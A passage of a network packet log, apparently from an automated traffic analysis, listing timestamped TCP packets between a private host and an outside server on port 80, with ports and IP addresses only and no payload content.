Jul 27, 2024 13:31:01.162430048 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162462950 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162497044 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162512064 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.162529945 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162564039 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162583113 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.162596941 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.162652969 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.164294004 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164345980 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164397955 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.164418936 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164455891 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164505959 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164515972 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.164539099 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164582968 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.164591074 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164658070 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164693117 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164707899 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.164767027 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164803028 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164815903 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.164835930 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164869070 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.164889097 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.164952993 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.165002108 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.185357094 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.185822964 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.185854912 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.185893059 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.186018944 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186052084 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186070919 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.186216116 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186249971 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186269045 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.186307907 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186357021 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.186357975 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186392069 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186425924 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186443090 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.186496019 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186530113 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186547041 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.186604977 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186638117 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186656952 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.186671019 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186705112 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186719894 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.186738014 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186772108 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186786890 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.186808109 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186844110 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.186861038 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.187263966 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187297106 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187314034 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.187346935 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187381983 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187398911 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.187414885 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187448978 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187463999 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.187482119 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187514067 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187530994 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.187547922 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187578917 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187597036 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.187612057 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187644958 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187663078 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.187680006 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187711000 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187727928 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.187743902 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187784910 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187803984 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.187912941 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187947035 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.187967062 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.187979937 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188011885 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188028097 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188045025 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188079119 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188097000 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188112974 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188152075 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188168049 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188185930 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188219070 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188231945 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188251972 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188283920 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188301086 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188316107 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188349962 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188365936 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188383102 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188416004 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188432932 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188450098 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188502073 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188503981 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188538074 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188571930 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188587904 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188852072 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188885927 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188905001 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188919067 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188951969 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.188966990 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.188983917 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189018011 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189032078 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.189049006 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189080954 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189094067 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.189114094 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189146996 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189160109 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.189179897 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189214945 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189229012 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.189246893 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189280987 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189294100 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.189313889 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189347982 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189363003 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.189380884 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189415932 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189434052 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.189450979 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.189501047 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.203002930 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.203037024 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.203102112 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.203136921 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.203188896 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.203222990 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.203238964 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.203254938 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.203288078 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.203305960 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.203321934 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.203370094 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.252114058 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252160072 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252216101 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252249956 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252258062 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.252284050 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252305984 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.252319098 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252353907 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252362967 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.252388000 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252420902 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252429962 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.252454996 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252513885 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.252525091 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252558947 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252592087 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252629995 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252654076 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.252659082 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.252710104 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.255151987 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255182028 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255218983 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.255230904 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255265951 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255284071 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.255300045 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255347013 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.255362034 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255413055 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255448103 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255460024 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.255481005 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255556107 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255559921 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.255589008 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255624056 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255640030 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.255656004 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255691051 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255708933 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.255718946 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.255770922 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.276163101 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276242971 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276302099 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276316881 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.276365995 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276408911 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276421070 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.276473999 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276526928 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276530981 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.276582956 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276633024 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276633978 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.276710033 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276742935 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276758909 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.276777029 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276827097 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.276833057 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276868105 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276900053 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.276920080 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277035952 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277070045 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277093887 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277101994 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277136087 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277148008 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277168989 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277201891 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277229071 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277235031 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277267933 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277276993 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277353048 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277388096 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277400970 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277590036 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277622938 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277641058 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277657032 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277692080 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277709961 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277724981 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277764082 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277785063 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277796030 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277832031 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277851105 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277864933 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277895927 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277925014 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277929068 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277962923 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.277976990 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.277997971 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278042078 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.278281927 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278316021 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278347969 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278367996 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.278379917 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278413057 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278434038 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.278449059 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278481960 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278497934 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.278513908 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278547049 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278563976 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.278578997 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278611898 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278630972 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.278644085 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278677940 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278704882 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.278711081 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278745890 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278763056 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.278779030 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278812885 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278825998 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.278846025 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278881073 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278898954 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.278913975 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.278965950 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.279206991 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279242039 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279273033 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279294014 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.279304981 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279339075 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279359102 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.279372931 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279406071 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279422998 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.279438019 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279472113 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279489040 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.279504061 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279537916 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279555082 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.279571056 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279603004 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279622078 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.279635906 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279669046 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279685974 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.279702902 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279736996 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.279752016 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.295718908 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.295809984 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.295937061 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.295986891 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.296020985 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.296045065 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.296055079 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.296087980 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.296102047 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.296122074 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.296180010 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.343332052 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343434095 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343471050 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343503952 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343516111 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.343539000 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343558073 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:01.343573093 CEST	80	49704	198.46.176.133	192.168.2.5
Jul 27, 2024 13:31:01.343607903 CEST	80	49704	198.46.176.133	192.168.2.5
